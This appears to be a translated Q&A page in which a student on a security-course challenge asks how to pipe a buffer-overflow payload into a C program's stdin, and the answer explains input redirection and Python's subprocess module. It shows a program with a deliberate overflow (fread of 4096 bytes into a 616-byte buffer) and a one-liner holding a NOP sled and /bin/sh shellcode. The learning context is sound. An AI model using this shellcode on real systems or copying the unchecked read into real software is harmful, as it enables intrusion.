时间戳

首页 > 解决方案 > 如何使用脚本来控制程序的输入？

python - 如何使用脚本来控制程序的输入？

问题描述

我需要控制一个用 C 编写的简单程序的输入。我正在使用 Linux 虚拟机（这是一个计算机安全挑战）并且我正在使用 GDB 来找到一个好的漏洞利用（在这种情况下是缓冲区溢出） . 这是代码：

static const char KEY[] = "BLOCKCHAIN";

void vuln(){
    int i;
    char buffer[616];

    int output = fread(buffer, 1, 4*1024, stdin);

    for (i = 0; i < 616; i++) {
      buffer[i] ^= KEY[i % sizeof(KEY)];
    }  

    printf("%s\n", buffer);
}

int main(int argc, char *argv[]){
    vuln();
    exit(0);
}

我要覆盖的线是int output = fread(buffer, 1, 4*1024, stdin);. 有没有办法用一个简单的脚本来控制那个程序的输入（所以输入流）？我想做类似的事情：

./vuln_program `python -c 'print("\x90"*923+"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"+"\x48\xbf\xff\xff")'`

如果它是 main 的一个参数，则此方法有效，但不幸的是我在 vuln() 函数中并且无法执行此操作。教授们建议使用：Python的子进程模块，或者read\write from\to a named pipe（mkfifo），或者使用pwntools Python库的进程模块，但我不知道如何在这种情况下使用它们。

提前致谢。

标签： pythonc

解决方案

python 生成的所有内容都将在参数中，而不是在标准输入中。如果你需要向标准输入传递一些东西，你需要做的是：./vuln_program < file_with_stdin_data 它根本不需要 python 将一些定义的数据放入输入流，你可以在普通文件中拥有数据。

您可以使用 python subprocess 模块与您的脚本进行通信。然后你需要创建子进程并向它的标准输入写一些东西。检查python文档：

推荐阅读